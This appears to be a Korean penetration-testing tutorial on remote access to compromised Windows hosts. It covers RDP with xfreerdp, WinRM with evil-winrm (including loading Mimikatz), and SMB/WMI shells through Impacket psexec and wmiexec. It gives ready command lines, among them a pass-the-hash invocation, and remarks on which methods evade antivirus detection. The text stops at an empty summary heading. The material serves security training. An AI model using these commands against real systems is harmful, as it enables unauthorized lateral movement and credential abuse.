호스트기반모의해킹_43_윈도우 원격 접근 기법

1. 개요

공격자가 윈도우 시스템 제어권을 확보한 후, 편리한 작업이나 내부망 이동(Lateral Movement)을 위해 원격 접근(Remote Access)을 수행한다.
윈도우가 기본적으로 제공하는 서비스(RDP, WinRM)를 활용하거나, 관리자 권한을 이용해 SMB나 WMI로 접근할 수 있다.

2. RDP(Remote Desktop Protocol)

GUI 환경을 그대로 사용할 수 있어 가장 편리하지만, 로그가 남고 사용자가 인지하기 쉽다.

• 포트: 3389/TCP
• 필수 조건: Remote Desktop Users 그룹 또는 Administrators 그룹 멤버여야 함.
• 도구(Kali Linux): xfreerdp(추천), rdesktop(구형).

2.1 xfreerdp 사용법

# 기본 접속
xfreerdp /u:[Username] /p:[Password] /v:[Target_IP]

# 드라이브 공유(/home/kali를 원격지의 Z: 드라이브로 마운트 -> 파일 전송 용이)
xfreerdp /u:administrator /p:Password123! /v:192.168.10.10 /drive:share,/home/kali

3. WinRM(Windows Remote Management)

PowerShell Remoting을 기반으로 하며, CLI(터미널) 환경을 제공한다. 최근 윈도우 서버 환경에서 많이 사용된다.

• 포트: 5985(HTTP), 5986(HTTPS)
• 필수 조건: Remote Management Users 그룹 또는 Administrators 그룹.
• 도구: evil-winrm(Ruby 기반, 강력한 기능 제공).

3.1 Evil-WinRM 사용법

# 접속
evil-winrm -i [Target_IP] -u [Username] -p [Password]

# 주요 기능
# menu: 내장된 스크립트(Mimikatz 등) 로드 가능.
# upload / download: 간편한 파일 전송.

4. SMB & WMI(Impacket 활용)

로컬 관리자 권한이 있다면, SMB(파일 공유)나 WMI(관리 도구)를 통해 쉘을 얻을 수 있다. 특히 Pass-the-Hash(PtH) 공격에 유용하다.

• 포트: 445(SMB), 135(WMI/RPC)
• 필수 조건: Local Administrator 권한.

4.1 PsExec(SMB)

• 파일 업로드 -> 서비스 등록 및 실행 -> 삭제 과정을 거쳐 쉘을 획득한다.
• 백신 탐지 확률이 높음.

impacket-psexec [User]:[Pass]@[IP]
# Hash 사용 시:
impacket-psexec [User]@[IP] -hashes [LM]:[NT]

4.2 WmiExec(WMI)

• 서비스를 생성하지 않고 WMI 객체를 통해 명령어를 실행하므로 PsExec보다 은밀(Stealthy)하다.

impacket-wmiexec [User]:[Pass]@[IP]

5. 요약 및 비교